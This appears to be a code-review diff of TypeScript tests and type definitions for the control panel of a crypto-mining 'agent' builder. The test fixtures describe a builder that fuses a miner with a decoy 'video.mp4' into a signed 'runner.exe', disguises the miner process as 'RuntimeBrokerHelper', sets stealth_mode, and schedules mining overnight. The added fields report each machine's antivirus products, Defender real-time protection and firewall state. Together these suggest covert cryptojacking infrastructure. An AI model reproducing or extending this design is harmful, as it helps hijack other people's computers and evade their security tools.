||||
|
||||
describe('types/index — build pipeline responses', () => {
|
||||
it('BuildResponse covers success and error paths', () => {
|
||||
const ok: BuildResponse = {
|
||||
success: true,
|
||||
build_id: 'uuid',
|
||||
file_name: 'worker.exe',
|
||||
download_url: '/api/v1/builds/uuid/download',
|
||||
signed: true,
|
||||
obfuscated: false,
|
||||
};
|
||||
const err: BuildResponse = { success: false, error: 'compile failed' };
|
||||
expect(ok.success).toBe(true);
|
||||
expect(err.error).toBeTruthy();
|
||||
});
|
||||
|
||||
it('FusionEstimate lists byte breakdown fields', () => {
|
||||
const est: FusionEstimate = {
|
||||
prep_bytes: 1000,
|
||||
prep_name: 'video.mp4',
|
||||
estimated_worker_bytes: 5000000,
|
||||
estimated_fusion_stub_bytes: 200000,
|
||||
estimated_resource_patch_bytes: 50000,
|
||||
estimated_total_bytes: 5251000,
|
||||
output_file_name: 'runner.exe',
|
||||
project_root_path: '/proj',
|
||||
archive_path_hint: '/proj/out.zip',
|
||||
obfuscate: false,
|
||||
sign_build: false,
|
||||
notes: ['ok'],
|
||||
};
|
||||
expect(est.estimated_total_bytes).toBeGreaterThan(est.prep_bytes);
|
||||
});
|
||||
|
||||
it('BlueprintInfo stores optional parsed data', () => {
|
||||
const bp: BlueprintInfo = {
|
||||
name: 'default.json',
|
||||
size: 4096,
|
||||
created_at: '2026-05-30T10:00:00Z',
|
||||
data: { worker_name: 'worker-1' },
|
||||
};
|
||||
expect(bp.data?.worker_name).toBe('worker-1');
|
||||
});
|
||||
|
||||
it('AgentDefaults captures deprecated calibrate defaults shape', () => {
|
||||
const defaults: AgentDefaults = {
|
||||
threads: 4,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
max_cpu_usage_pct: 80,
|
||||
max_memory_percent: 70,
|
||||
min_free_ram_mb: 1024,
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
schedule_start: '21:00',
|
||||
schedule_end: '06:00',
|
||||
install_base: 'localappdata',
|
||||
install_custom_base: '',
|
||||
install_relative_path: 'CryptoMiner/{worker}',
|
||||
adapt_to_hardware: true,
|
||||
self_healing: true,
|
||||
file_logging: false,
|
||||
stealth_mode: true,
|
||||
};
|
||||
expect(defaults.thread_mode).toBe('percent');
|
||||
});
|
||||
|
||||
it('WSMessage references typed ws payload import', () => {
|
||||
const msg: WSMessage = {
|
||||
type: 'stats_update',
|
||||
payload: { agents: [] } as WSMessage['payload'],
|
||||
};
|
||||
expect(msg.type).toBe('stats_update');
|
||||
});
|
||||
});
|
||||
|
||||
describe('types/index — no runtime exports', () => {
|
||||
it('module provides interfaces only (no type guards or constants at runtime)', () => {
|
||||
// Documented expectation: consumers validate API JSON against these shapes manually.
|
||||
expect(typeof Agent).toBe('undefined');
|
||||
expect(typeof BuildRequest).toBe('undefined');
|
||||
});
|
||||
});
|
||||
@@ -25,6 +25,18 @@ export interface Agent {
|
||||
os_version?: string;
|
||||
capabilities?: AgentCapabilities;
|
||||
ssh_available?: boolean;
|
||||
posture_score?: number;
|
||||
last_patch_days?: number;
|
||||
defender_enabled?: boolean;
|
||||
defender_rtp?: boolean;
|
||||
av_products?: string[];
|
||||
firewall_domain?: boolean;
|
||||
firewall_private?: boolean;
|
||||
firewall_public?: boolean;
|
||||
last_patch?: string; // ISO date YYYY-MM-DD
|
||||
pending_updates?: number; // -1 = unknown
|
||||
reboot_pending?: boolean;
|
||||
agent_elevated?: boolean;
|
||||
}
|
||||
|
||||
export interface AgentCapabilities {
|
||||
|
||||
@@ -20,6 +20,17 @@ export interface WSStatsUpdate {
|
||||
shares_submitted?: number;
|
||||
shares_accepted?: number;
|
||||
ssh_available?: boolean;
|
||||
posture_score?: number;
|
||||
last_patch_days?: number;
|
||||
defender_rtp?: boolean;
|
||||
av_products?: string[];
|
||||
firewall_domain?: boolean;
|
||||
firewall_private?: boolean;
|
||||
firewall_public?: boolean;
|
||||
last_patch?: string;
|
||||
pending_updates?: number;
|
||||
reboot_pending?: boolean;
|
||||
agent_elevated?: boolean;
|
||||
}
|
||||
|
||||
export interface WSCommandResult {
|
||||
|
||||
Reference in New Issue
Block a user